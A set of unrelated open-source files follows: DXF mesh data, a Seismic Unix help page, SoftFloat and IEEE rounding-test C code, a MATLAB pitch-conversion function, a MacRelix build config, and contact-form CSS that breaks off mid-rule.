3DFACE 8 default 62 251 10 0.000000 20 -0.006004 30 0.022004 11 -0.011004 21 -0.011500 31 0.019052 12 0.000000 22 -0.011500 32 0.022004 13 0.000000 23 -0.006004 33 0.022004 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 -0.026844 21 -0.006004 31 0.015500 12 -0.030996 22 -0.006004 32 -0.000004 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 -0.030996 21 -0.006004 31 -0.000004 12 -0.026844 22 -0.006004 32 -0.015496 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 -0.026844 21 -0.006004 31 -0.015496 12 -0.015504 22 -0.006004 32 -0.026848 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 -0.015504 21 -0.006004 31 -0.026848 12 0.000000 22 -0.006004 32 -0.031000 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 0.000000 21 -0.006004 31 -0.031000 12 0.015504 22 -0.006004 32 -0.026848 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 0.015504 21 -0.006004 31 -0.026848 12 0.026844 22 -0.006004 32 -0.015496 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 0.026844 21 -0.006004 31 -0.015496 12 0.030996 22 -0.006004 32 -0.000004 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 0.030996 21 -0.006004 31 -0.000004 12 0.026844 22 -0.006004 32 0.015500 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 0.026844 21 -0.006004 31 0.015500 12 0.015504 22 -0.006004 32 0.026852 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.006004 30 0.026852 11 0.015504 21 -0.006004 31 0.026852 12 0.000000 22 -0.006004 32 0.031004 13 -0.015504 23 -0.006004 33 0.026852 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 0.019056 21 -0.006004 31 0.011000 12 0.021996 22 -0.006004 32 -0.000004 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 0.021996 21 -0.006004 31 -0.000004 12 0.019056 22 -0.006004 32 -0.010996 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 0.019056 21 -0.006004 31 -0.010996 12 0.011004 22 -0.006004 32 -0.019048 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 0.011004 21 -0.006004 31 -0.019048 12 0.000000 22 -0.006004 32 -0.022000 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 0.000000 21 -0.006004 31 -0.022000 12 -0.011004 22 -0.006004 32 -0.019048 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 -0.011004 21 -0.006004 31 -0.019048 12 -0.019056 22 -0.006004 32 -0.010996 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 -0.019056 21 -0.006004 31 -0.010996 12 -0.021996 22 -0.006004 32 -0.000004 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 -0.021996 21 -0.006004 31 -0.000004 12 -0.019056 22 -0.006004 32 0.011000 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 -0.019056 21 -0.006004 31 0.011000 12 -0.011004 22 -0.006004 32 0.019052 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 -0.011004 21 -0.006004 31 0.019052 12 0.000000 22 -0.006004 32 0.022004 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 0.026844 21 -0.000004 31 0.015500 12 0.030996 22 -0.000004 32 -0.000004 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 0.030996 21 -0.000004 31 -0.000004 12 0.026844 22 -0.000004 32 -0.015496 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 0.026844 21 -0.000004 31 -0.015496 12 0.015504 22 -0.000004 32 -0.026848 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 0.015504 21 -0.000004 31 -0.026848 12 0.000000 22 -0.000004 32 -0.031000 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 0.000000 21 -0.000004 31 -0.031000 12 -0.015504 22 -0.000004 32 -0.026848 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 -0.015504 21 -0.000004 31 -0.026848 12 -0.026844 22 -0.000004 32 -0.015496 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 -0.026844 21 -0.000004 31 -0.015496 12 -0.030996 22 -0.000004 32 -0.000004 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 -0.030996 21 -0.000004 31 -0.000004 12 -0.026844 22 -0.000004 32 0.015500 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 -0.026844 21 -0.000004 31 0.015500 12 -0.015504 22 -0.000004 32 0.026852 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 -0.015504 21 -0.000004 31 0.026852 12 0.000000 22 -0.000004 32 0.031004 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 0.000000 21 -0.000004 31 0.031004 12 0.000000 22 -0.006004 32 0.031004 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 0.026852 11 0.000000 21 -0.006004 31 0.031004 12 0.015504 22 -0.006004 32 0.026852 13 0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.026844 20 -0.000004 30 0.015500 11 0.015504 21 -0.000004 31 0.026852 12 0.015504 22 -0.006004 32 0.026852 13 0.026844 23 -0.000004 33 0.015500 0 3DFACE 8 default 62 251 10 0.026844 20 -0.000004 30 0.015500 11 0.015504 21 -0.006004 31 0.026852 12 0.026844 22 -0.006004 32 0.015500 13 0.026844 23 -0.000004 33 0.015500 0 3DFACE 8 default 62 251 10 0.030996 20 -0.000004 30 -0.000004 11 0.026844 21 -0.000004 31 0.015500 12 0.026844 22 -0.006004 32 0.015500 13 0.030996 23 -0.000004 33 -0.000004 0 3DFACE 8 default 62 251 10 0.030996 20 -0.000004 30 -0.000004 11 0.026844 21 -0.006004 31 0.015500 12 0.030996 22 -0.006004 32 -0.000004 13 0.030996 23 -0.000004 33 -0.000004 0 3DFACE 8 default 62 251 10 0.026844 20 -0.000004 30 -0.015496 11 0.030996 21 -0.000004 31 -0.000004 12 0.030996 22 -0.006004 32 -0.000004 13 0.026844 23 -0.000004 33 -0.015496 0 3DFACE 8 default 62 251 10 0.026844 20 -0.000004 30 -0.015496 11 0.030996 21 -0.006004 31 -0.000004 12 0.026844 22 -0.006004 32 -0.015496 13 0.026844 23 -0.000004 33 -0.015496 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 -0.026848 11 0.026844 21 -0.000004 31 -0.015496 12 0.026844 22 -0.006004 32 -0.015496 13 0.015504 23 -0.000004 33 -0.026848 0 3DFACE 8 default 62 251 10 0.015504 20 -0.000004 30 -0.026848 11 0.026844 21 -0.006004 31 -0.015496 12 0.015504 22 -0.006004 32 -0.026848 13 0.015504 23 -0.000004 33 -0.026848 0 3DFACE 8 default 62 251 10 0.000000 20 -0.000004 30 -0.031000 11 0.015504 21 -0.000004 31 -0.026848 12 0.015504 22 -0.006004 32 -0.026848 13 0.000000 23 -0.000004 33 -0.031000 0 3DFACE 8 default 62 251 10 0.000000 20 -0.000004 30 -0.031000 11 0.015504 21 -0.006004 31 -0.026848 12 0.000000 22 -0.006004 32 -0.031000 13 0.000000 23 -0.000004 33 -0.031000 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.000004 30 -0.026848 11 0.000000 21 -0.000004 31 -0.031000 12 0.000000 22 -0.006004 32 -0.031000 13 -0.015504 23 -0.000004 33 -0.026848 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.000004 30 -0.026848 11 0.000000 21 -0.006004 31 -0.031000 12 -0.015504 22 -0.006004 32 -0.026848 13 -0.015504 23 -0.000004 33 -0.026848 0 3DFACE 8 default 62 251 10 -0.026844 20 -0.000004 30 -0.015496 11 -0.015504 21 -0.000004 31 -0.026848 12 -0.015504 22 -0.006004 32 -0.026848 13 -0.026844 23 -0.000004 33 -0.015496 0 3DFACE 8 default 62 251 10 -0.026844 20 -0.000004 30 -0.015496 11 -0.015504 21 -0.006004 31 -0.026848 12 -0.026844 22 -0.006004 32 -0.015496 13 -0.026844 23 -0.000004 33 -0.015496 0 3DFACE 8 default 62 251 10 -0.030996 20 -0.000004 30 -0.000004 11 -0.026844 21 -0.000004 31 -0.015496 12 -0.026844 22 -0.006004 32 -0.015496 13 -0.030996 23 -0.000004 33 -0.000004 0 3DFACE 8 default 62 251 10 -0.030996 20 -0.000004 30 -0.000004 11 -0.026844 21 -0.006004 31 -0.015496 12 -0.030996 22 -0.006004 32 -0.000004 13 -0.030996 23 -0.000004 33 -0.000004 0 3DFACE 8 default 62 251 10 -0.026844 20 -0.000004 30 0.015500 11 -0.030996 21 -0.000004 31 -0.000004 12 -0.030996 22 -0.006004 32 -0.000004 13 -0.026844 23 -0.000004 33 0.015500 0 3DFACE 8 default 62 251 10 -0.026844 20 -0.000004 30 0.015500 11 -0.030996 21 -0.006004 31 -0.000004 12 -0.026844 22 -0.006004 32 0.015500 13 -0.026844 23 -0.000004 33 0.015500 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.000004 30 0.026852 11 -0.026844 21 -0.000004 31 0.015500 12 -0.026844 22 -0.006004 32 0.015500 13 -0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 -0.015504 20 -0.000004 30 0.026852 11 -0.026844 21 -0.006004 31 0.015500 12 -0.015504 22 -0.006004 32 0.026852 13 -0.015504 23 -0.000004 33 0.026852 0 3DFACE 8 default 62 251 10 0.000000 20 -0.000004 30 0.031004 11 -0.015504 21 -0.000004 31 0.026852 12 -0.015504 22 -0.006004 32 0.026852 13 0.000000 23 -0.000004 33 0.031004 0 3DFACE 8 default 62 251 10 0.000000 20 -0.000004 30 0.031004 11 -0.015504 21 -0.006004 31 0.026852 12 0.000000 22 -0.006004 32 0.031004 13 0.000000 23 -0.000004 33 0.031004 0 ENDSEC 0 EOF
{ "pile_set_name": "Github" }
SUAMP - output amp, phase, real or imag trace from (frequency, x) domain data suamp <stdin >stdout mode=amp Required parameters: none Optional parameter: mode=amp output flag =amp output amplitude traces =logamp output log(amplitude) traces =phase output phase traces =ouphase output unwrapped phase traces (oppenheim) =suphase output unwrapped phase traces (simple) =real output real parts =imag output imag parts jack=0 =1 divide value at zero frequency by 2 (operative only for mode=amp) .... phase unwrapping options ..... unwrap=1 |dphase| > pi/unwrap constitutes a phase wrapping (operative only for mode=suphase) trend=1 remove linear trend from the unwrapped phase zeromean=0 assume phase(0)=0.0, else assume phase is zero mean smooth=0 apply damped least squares smoothing to unwrapped phase r=10.0 ... damping coefficient, only active when smooth=1 Notes: The trace returned is half length from 0 to Nyquist. Example: sufft <data | suamp >amp_traces Example: sufft < data > complex_traces suamp < complex_traces mode=real > real_traces suamp < complex_traces mode=imag > imag_traces Note: the inverse of the above operation is: suop2 real_traces imag_traces op=zipper > complex_traces Note: Explanation of jack=1 The amplitude spectrum is the modulus of the complex output of the fft. f(0) is thus the average over the range of integration of the transform. For causal functions, or equivalently, half transforms, f(0) is 1/2 of the average over the full range. Most oscillatory functions encountered in wave applications are zero mean, so this is usually not an issue. Note: Phase unwrapping: The mode=ouphase uses the phase unwrapping method of Oppenheim and Schaffer, 1975. The mode=suphase generates unwrapped phase assuming that jumps in phase larger than pi/unwrap constitute a phase wrapping. Credits: CWP: Shuki Ronen, Jack K. Cohen c.1986 Notes: If efficiency becomes important consider inverting main loop and repeating extraction code within the branches of the switch. Trace header fields accessed: ns, trid Trace header fields modified: ns, trid
{ "pile_set_name": "Github" }
/*============================================================================ This C source file is part of the SoftFloat IEEE Floating-Point Arithmetic Package, Release 3e, by John R. Hauser. Copyright 2011, 2012, 2013, 2014 The Regents of the University of California. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions, and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS "AS IS", AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. =============================================================================*/ #include <stdbool.h> #include <stdint.h> #include "platform.h" #include "internals.h" #include "specialize.h" #include "softfloat.h" /*---------------------------------------------------------------------------- | Assuming at least one of the two 128-bit floating-point values pointed to by | `aWPtr' and `bWPtr' is a NaN, stores the combined NaN result at the location | pointed to by `zWPtr'. If either original floating-point value is a | signaling NaN, the invalid exception is raised. Each of `aWPtr', `bWPtr', | and `zWPtr' points to an array of four 32-bit elements that concatenate in | the platform's normal endian order to form a 128-bit floating-point value. *----------------------------------------------------------------------------*/ void softfloat_propagateNaNF128M( const uint32_t *aWPtr, const uint32_t *bWPtr, uint32_t *zWPtr ) { bool isSigNaNA; const uint32_t *ptr; ptr = aWPtr; isSigNaNA = f128M_isSignalingNaN( (const float128_t *) aWPtr ); if ( isSigNaNA || (bWPtr && f128M_isSignalingNaN( (const float128_t *) bWPtr )) ) { softfloat_raiseFlags( softfloat_flag_invalid ); if ( isSigNaNA ) goto copy; } if ( ! softfloat_isNaNF128M( aWPtr ) ) ptr = bWPtr; copy: zWPtr[indexWordHi( 4 )] = ptr[indexWordHi( 4 )] | 0x00008000; zWPtr[indexWord( 4, 2 )] = ptr[indexWord( 4, 2 )]; zWPtr[indexWord( 4, 1 )] = ptr[indexWord( 4, 1 )]; zWPtr[indexWord( 4, 0 )] = ptr[indexWord( 4, 0 )]; }
{ "pile_set_name": "Github" }
function [frq,cr] = cent2frq(c) %FRQ2ERB Convert Hertz to Cents frequency scale [C,CR]=(FRQ) % frq = frq2mel(c) converts a vector of frequencies in cents % to the corresponding values in Hertz. % 100 cents corresponds to one semitone and 440Hz corresponds to 5700 % cents. % The optional cr output gives the gradient in Hz/cent. % % The relationship between cents and frq is given by: % % c = 1200 * log2(f/(440*(2^((3/12)-5))) % % Reference: % % [1] Ellis, A. % On the Musical Scales of Various Nations % Journal of the Society of Arts, 1885, 485-527 % Copyright (C) Mike Brookes 1998 % Version: $Id: cent2frq.m 3123 2013-06-19 19:03:53Z dmb $ % % VOICEBOX is a MATLAB toolbox for speech processing. % Home page: http://www.ee.ic.ac.uk/hp/staff/dmb/voicebox/voicebox.html % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % This program is free software; you can redistribute it and/or modify % it under the terms of the GNU General Public License as published by % the Free Software Foundation; either version 2 of the License, or % (at your option) any later version. % % This program is distributed in the hope that it will be useful, % but WITHOUT ANY WARRANTY; without even the implied warranty of % MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the % GNU General Public License for more details. % % You can obtain a copy of the GNU General Public License from % http://www.gnu.org/copyleft/gpl.html or by writing to % Free Software Foundation, Inc.,675 Mass Ave, Cambridge, MA 02139, USA. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% persistent p q if isempty(p) p=1200/log(2); q=5700-p*log(440); end % c = 1200*sign(frq).*log2(frq/(440*2^((3/12)-5))); af=(exp((abs(c)-q)/p)); frq=sign(c).*af; cr=af/p; if ~nargout plot(c,frq,'-x'); ylabel(['Frequency (' yticksi 'Hz)']); xlabel(['Frequency (' xticksi 'Cents)']); end
{ "pile_set_name": "Github" }
#include "test.h" #include <ieeefp.h> /* Test fp getround and fp setround */ void test_getround (void) { newfunc("fpgetround/fpsetround"); line(1); fpsetround(FP_RN); test_iok(fpgetround(), FP_RN); line(2); fpsetround(FP_RM); test_iok(fpgetround(), FP_RM); line(3); fpsetround(FP_RP); test_iok(fpgetround(), FP_RP); line(4); fpsetround(FP_RZ); test_iok(fpgetround(), FP_RZ); } /* And fpset/fpgetmask */ void test_getmask (void) { newfunc("fpsetmask/fpgetmask"); line(1); fpsetmask(FP_X_INV); test_iok(fpgetmask(),FP_X_INV); line(2); fpsetmask(FP_X_DX); test_iok(fpgetmask(),FP_X_DX); line(3); fpsetmask(FP_X_OFL ); test_iok(fpgetmask(),FP_X_OFL); line(4); fpsetmask(FP_X_UFL); test_iok(fpgetmask(),FP_X_UFL); line(5); fpsetmask(FP_X_IMP); test_iok(fpgetmask(),FP_X_IMP); } void test_getsticky (void) { newfunc("fpsetsticky/fpgetsticky"); line(1); fpsetsticky(FP_X_INV); test_iok(fpgetsticky(),FP_X_INV); line(2); fpsetsticky(FP_X_DX); test_iok(fpgetsticky(),FP_X_DX); line(3); fpsetsticky(FP_X_OFL ); test_iok(fpgetsticky(),FP_X_OFL); line(4); fpsetsticky(FP_X_UFL); test_iok(fpgetsticky(),FP_X_UFL); line(5); fpsetsticky(FP_X_IMP); test_iok(fpgetsticky(),FP_X_IMP); } void test_getroundtoi (void) { newfunc("fpsetroundtoi/fpgetroundtoi"); line(1); fpsetroundtoi(FP_RDI_TOZ); test_iok(fpgetroundtoi(),FP_RDI_TOZ); line(2); fpsetroundtoi(FP_RDI_RD); test_iok(fpgetroundtoi(),FP_RDI_RD); } double dnumber (int msw, int lsw) { __ieee_double_shape_type v; v.parts.lsw = lsw; v.parts.msw = msw; return v.value; } /* Lets see if changing the rounding alters the arithmetic. Test by creating numbers which will have to be rounded when added, and seeing what happens to them */ /* Keep them out here to stop the compiler from folding the results */ double n; double m; double add_rounded_up; double add_rounded_down; double sub_rounded_down ; double sub_rounded_up ; double r1,r2,r3,r4; void test_round (void) { n = dnumber(0x40000000, 0x00000008); /* near 2 */ m = dnumber(0x40400000, 0x00000003); /* near 3.4 */ add_rounded_up = dnumber(0x40410000, 0x00000004); /* For RN, RP */ add_rounded_down = dnumber(0x40410000, 0x00000003); /* For RM, RZ */ sub_rounded_down = dnumber(0xc0410000, 0x00000004); /* for RN, RM */ sub_rounded_up = dnumber(0xc0410000, 0x00000003); /* for RP, RZ */ newfunc("fpsetround"); line(1); fpsetround(FP_RN); r1 = n + m; test_mok(r1, add_rounded_up, 64); line(2); fpsetround(FP_RM); r2 = n + m; test_mok(r2, add_rounded_down, 64); fpsetround(FP_RP); line(3); r3 = n + m; test_mok(r3,add_rounded_up, 64); fpsetround(FP_RZ); line(4); r4 = n + m; test_mok(r4,add_rounded_down,64); fpsetround(FP_RN); r1 = - n - m; line(5); test_mok(r1,sub_rounded_down,64); fpsetround(FP_RM); r2 = - n - m; line(6); test_mok(r2,sub_rounded_down,64); fpsetround(FP_RP); r3 = - n - m; line(7); test_mok(r3,sub_rounded_up,64); fpsetround(FP_RZ); r4 = - n - m; line(8); test_mok(r4,sub_rounded_up,64); } void test_ieee (void) { fp_rnd old = fpgetround(); test_getround(); test_getmask(); test_getsticky(); test_getroundtoi(); test_round(); fpsetround(old); }
{ "pile_set_name": "Github" }
product app program MacRelix creator 'Poof' subprojects t use CursorDeviceGlue use GetPathname use MacFiles use MacIO use MacRelixLib use MacScribe use MacVFS use MoreFiles use OpenTransportApp use Pedestal use POSIX-headers use PosixLib use Silver use ThreadsLibrary use async-wakeup use boost use gear use jack use libm use mac-app-utils use mac-file-utils use mac-qd-utils use mac-relix-utils use mac-rsrc-utils use mac-sys-utils use mac-types-scribe use mac-ui-utils use md5 use plus use poseven use posix-utils use recall use relix-kernel use splode use vfs-relix use freemount-server sources AEFramework sources Genie rez Pedestal:0080-Apple.MENU.r rez Genie.aete.r rez Genie.icons.r rez Genie.open.r rez Genie.vers.r rez Pedestal:Pedestal.Hack.r rez Pedestal:Pedestal.menu.r rez Pedestal:Pedestal.size.r
{ "pile_set_name": "Github" }
.mw_form{ position: relative; clear: both; } .mw_form:after{ content: "."; display: block; clear: both; visibility: hidden; line-height: 0; height: 0; } /* Contact Form Styles */ .message-sent-icon{ display: block; width:52px; height: 52px; background: url(../img/message-sent.png) no-repeat; margin: 0 auto 20px; } [class*='contact-form-template-'] .message-sent { display:none; } .message-sent-icon-orange{background-position: 0 -104px;} .message-sent-icon-green{background-position: 0 -52px;} [class*='contact-form-template-'] input, [class*='contact-form-template-'] textarea, [class*='contact-form-template-'] select{ -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; height: auto; } [class*='contact-form-template-'] .mw-custom-field-upload{ width: 100%; } [class*='contact-form-template-'] input[type='submit']{ float: right; } [class*='contact-form-template-'] textarea{ resize: vertical; } .datepicker{ display: none; position: absolute; z-index: 12; background: white; border: 1px solid rgba(0, 0, 0, 0.1); border-radius: 0; } [class*='contact-form-template-'] label{ display: block; clear: both; padding-bottom: 4px; padding-top: 12px; } [class*='contact-form-template-'] label.inline{ display: inline-block; float: left; clear: both; margin-right: 12px; } [class*='contact-form-template-'] .captcha-holder{ background: white; border-radius: 2px; } [class*='contact-form-template-'] .mw-custom-field-price .mw-custom-field-form-controls{ color: #6C6C6C; font-size: 150%; } /* DREAM Template */ . .contact-form-template-dream{ position: relative; overflow: hidden; text-align: left; } .contact-form-template-dream .contact-form { padding: 40px; background: white; border:1px solid #D1D1D1; } .contact-form-template-dream .contact-form-title { color:#3f3f3f; } .contact-form-template-dream .message-sent{ padding: 40px; background: white; border:1px solid #D1D1D1; text-align: center; color: #418CD1; font-weight: bold; position: absolute; top: -100%; left: 50%; margin: auto; z-index: 10; width: 300px; margin-left: -190px; transition: top 0.3s; -moz-transition: top 0.3s; -webkit-transition: top 0.3s; -o-transition: top 0.3s; } .contact-form-template-dream textarea, .contact-form-template-dream select, .contact-form-template-dream input[type="text"], .contact-form-template-dream input[type="password"], .contact-form-template-dream input[type="datetime"], .contact-form-template-dream input[type="datetime-local"], .contact-form-template-dream input[type="date"], .contact-form-template-dream input[type="month"], .contact-form-template-dream input[type="time"], .contact-form-template-dream input[type="week"], .contact-form-template-dream input[type="number"], .contact-form-template-dream input[type="email"], .contact-form-template-dream input[type="url"], .contact-form-template-dream input[type="search"], .contact-form-template-dream input[type="tel"], .contact-form-template-dream input[type="color"]{ background-color: #F4F4F4; border: 1px solid #E6E6E6; border-radius: 2px; padding: 10px; width: 100%; transition: all 0.3s; -moz-transition: all 0.3s; -webkit-transition: all 0.3s; -o-transition: all 0.3s; } .contact-form-template-dream textarea:focus, .contact-form-template-dream input[type="text"]:focus, .contact-form-template-dream input[type="password"]:focus, .contact-form-template-dream input[type="datetime"]:focus, .contact-form-template-dream input[type="datetime-local"]:focus, .contact-form-template-dream input[type="date"]:focus, .contact-form-template-dream input[type="month"]:focus, .contact-form-template-dream input[type="time"]:focus, .contact-form-template-dream input[type="week"]:focus, .contact-form-template-dream input[type="number"]:focus, .contact-form-template-dream input[type="email"]:focus, .contact-form-template-dream input[type="url"]:focus, .contact-form-template-dream input[type="search"]:focus, .contact-form-template-dream input[type="tel"]:focus, .contact-form-template-dream input[type="color"]:focus{ box-shadow: inset 0 0 4px #C9C9C9; } .contact-form-template-dream .cft-submit{ color:#FFFFFF; display: inline-block; padding: 8px 20px; background:#418CD1; text-align: center; border: none; border-radius: 2px; cursor: pointer; } .contact-form-template-dream .cft-submit:hover, .contact-form-template-dream .cft-submit:focus{ background:#317FC9; } .contact-form-template-dream .cft-submit:active{ box-shadow: inset 0 0 6px #1F517F; } .contact-form-template-dream .contact-form-title{ border-bottom: 2px solid #418CD1; display: inline-block; padding-bottom: 4px; margin-bottom: 20px; } .contact-form-template-dream input.mw-captcha-input{ width: 85px; float: left; } .contact-form-template-dream .mw-captcha-img{ float: left; margin-top: 10px; } .contact-form-template-dream .irefresh{ margin-top: 7px; } /* DARK Template */ .contact-form-template-dark{ position: relative; overflow: hidden; text-align: left; } .contact-form-template-dark .contact-form { padding: 40px; background: #3A3A3A; border: 1px solid #D1D1D1; } .contact-form-template-dark .deactivated:before{ background: #3A3A3A; } .contact-form-template-dark .message-sent{ padding: 40px; background: #3A3A3A; border:1px solid #D1D1D1; text-align: center; color: #FF4600; font-weight: bold; position: absolute; top: -100%; left: 50%; margin: auto; z-index: 10; width: 300px; margin-left: -190px; transition: top 0.3s; -moz-transition: top 0.3s; -webkit-transition: top 0.3s; -o-transition: top 0.3s; } .contact-form-template-dark label, .contact-form-template-dark .custom-field-title{ color:#6C6C6C; } .contact-form-template-dark textarea,.contact-form-template-dark select, .contact-form-template-dark input[type="text"], .contact-form-template-dark input[type="password"], .contact-form-template-dark input[type="datetime"], .contact-form-template-dark input[type="datetime-local"], .contact-form-template-dark input[type="date"], .contact-form-template-dark input[type="month"], .contact-form-template-dark input[type="time"], .contact-form-template-dark input[type="week"], .contact-form-template-dark input[type="number"], .contact-form-template-dark input[type="email"], .contact-form-template-dark input[type="url"], .contact-form-template-dark input[type="search"], .contact-form-template-dark input[type="tel"], .contact-form-template-dark input[type="color"]{ background-color: #646464; color: #A4A4A4; border: 1px solid #454545; border-radius: 2px; padding: 10px; width:100%; transition: all 0.3s; -moz-transition: all 0.3s; -webkit-transition: all 0.3s; -o-transition: all 0.3s; } .contact-form-template-dark textarea:focus, .contact-form-template-dark input[type="text"]:focus, .contact-form-template-dark input[type="password"]:focus, .contact-form-template-dark input[type="datetime"]:focus, .contact-form-template-dark input[type="datetime-local"]:focus, .contact-form-template-dark input[type="date"]:focus, .contact-form-template-dark input[type="month"]:focus, .contact-form-template-dark input[type="time"]:focus, .contact-form-template-dark input[type="week"]:focus, .contact-form-template-dark input[type="number"]:focus, .contact-form-template-dark input[type="email"]:focus, .contact-form-template-dark input[type="url"]:focus, .contact-form-template-dark input[type="search"]:focus, .contact-form-template-dark input[type="tel"]:focus, .contact-form-template-dark input[type="color"]:focus{ box-shadow: inset 1px 1px 6px #292929, inset -1px -1px 6px #292929; } .contact-form-template-dark .cft-submit{ color:#FFFFFF; display: inline-block; padding: 8px 20px; background:#CA440F; text-align: center; border: none; border-radius: 2px; cursor: pointer; } .contact-form-template-dark .cft-submit:hover, .contact-form-template-dark .cft-submit:focus{ background:#E04000; } .contact-form-template-dark .cft-submit:active{ box-shadow: inset 0 0 6px #702000; } .contact-form-template-dark .contact-form-title{ background: #C9430F; color: white; margin-bottom: 20px; padding: 3px 10px 5px; border-radius: 2px; } .contact-form-template-dark input.mw-captcha-input{ width: 85px; float: left; } .contact-form-template-dark .mw-captcha-img{ float: left; margin-top: 10px; } .contact-form-template-dark .irefresh{ margin-top: 7px; } .contact-form-template-dark .mw-custom-field-price .mw-custom-field-form-controls{ color: #6C6C6C; } .contact-form-template-dark hr{ background:#6C6C6C; } /* Basic */ .contact-form-template-basic { text-align: left; } .contact-form-template-basic textarea, .contact-form-template-basic select, .contact-form-template-basic input[type="text"], .contact-form-template-basic input[type="password"], .contact-form-template-basic input[type="datetime"], .contact-form-template-basic input[type="datetime-local"], .contact-form-template-basic input[type="date"], .contact-form-template-basic input[type="month"], .contact-form-template-basic input[type="time"], .contact-form-template-basic input[type="week"], .contact-form-template-basic input[type="number"], .contact-form-template-basic input[type="email"], .contact-form-template-basic input[type="url"], .contact-form-template-basic input[type="search"], .contact-form-template-basic input[type="tel"], .contact-form-template-basic 